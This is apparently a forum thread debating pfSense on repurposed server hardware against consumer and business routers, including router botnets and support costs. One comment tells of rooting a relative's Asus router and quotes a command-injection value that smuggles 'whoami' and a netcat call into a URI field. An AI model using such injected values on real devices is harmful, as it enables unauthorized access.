I’ve been using pfSense for about 5 years. The past 10+ years I’ve been on either 1x1Gbps or 2x1Gbps symmetric up/down links via fiber (no isp boxes), no consumer/semipro router in the $150-400 range have been able to keep up with these links (tried a few at different times) and especially not handling IPSec-tunneling at these speeds. So I use my old Nehalem/supermicron server (8c/24GB ram, multiple intel pro nics). Used to run FreeBSD+pf then NetBSD+npf manually configured but around 2013 my hard drive broke in a move so I just threw pfSense onto an old disk I had laying around as a temporary solution to get up and running quickly, at that point I never had time/got around to actually set up npf again so I just keep running pfSense and still am.

This server costed me about $100 since I salvaged most parts from a broken server I bought of some company back in 08, been running really solid and tried to replace it with highend prosumer routers a few times when I were upgrading my Wi-Fi but they never kept up, I’m now using UniFi Ac PRO for Wi-Fi since my last tplink router/ap broke.

> every wifi router that costs more than $150

Price does not matter. Botnets are created on consumer grade routers, of any price range. Asus, Netgear and the like. None of them are x86 based, and most run outdated busybox linux on low power SoC chips.

Botnets are created on internet of things and printers, rarely on routers. A small business trying to setup and administer a Unix server as a router is more likely to go wrong than buying a dedicated appliance.

Uhhhh... https://arstechnica.com/information-technology/2018/06/vpnfi...

My point is I don't trust consumer grade stuff.

> Unix server as a router is more likely to go wrong

That is exactly why you install pfSense/OPNsense.

I’ve actually trivially rooted my mothers Asus two times when she had network problems and I had to find a way of debugging it remotely. One time I could inject an RCE via some kind of network connection testing tool they had which were supposed to take an uri but happily accepted something like "google.com$(whoami; nc...&)"

I don't know why people use it either.

I looked pretty seriously at using it when I was considering building a outgoing firewall product, when people could share blocklists for IoT devices and things like SmartTVs.

It's pretty well suited for building things like that on top of.

Maybe people are building things like site blockers for schools on top of it?

Maybe it's just a hobbyist/prosumer play?

> I don't know why people use it either.

I'm shocked this is a common statement on this.

Because its great. Its a fast firewall and router. Its perfect for not overpaying for something like a Cisco ASA.

But in what circumstances? How big is your business?

If you are running a SME office, then there are plenty of decent firewall appliances which are much cheaper than Cisco ASA, and have much lower support overhead than Sense.

If people are doing it for fun or as a hobby great. But given that you can get perfectly good appliances at $500/$1000/$2000 pricepoints, where is th price tradeoff where is makes sense to use Sense?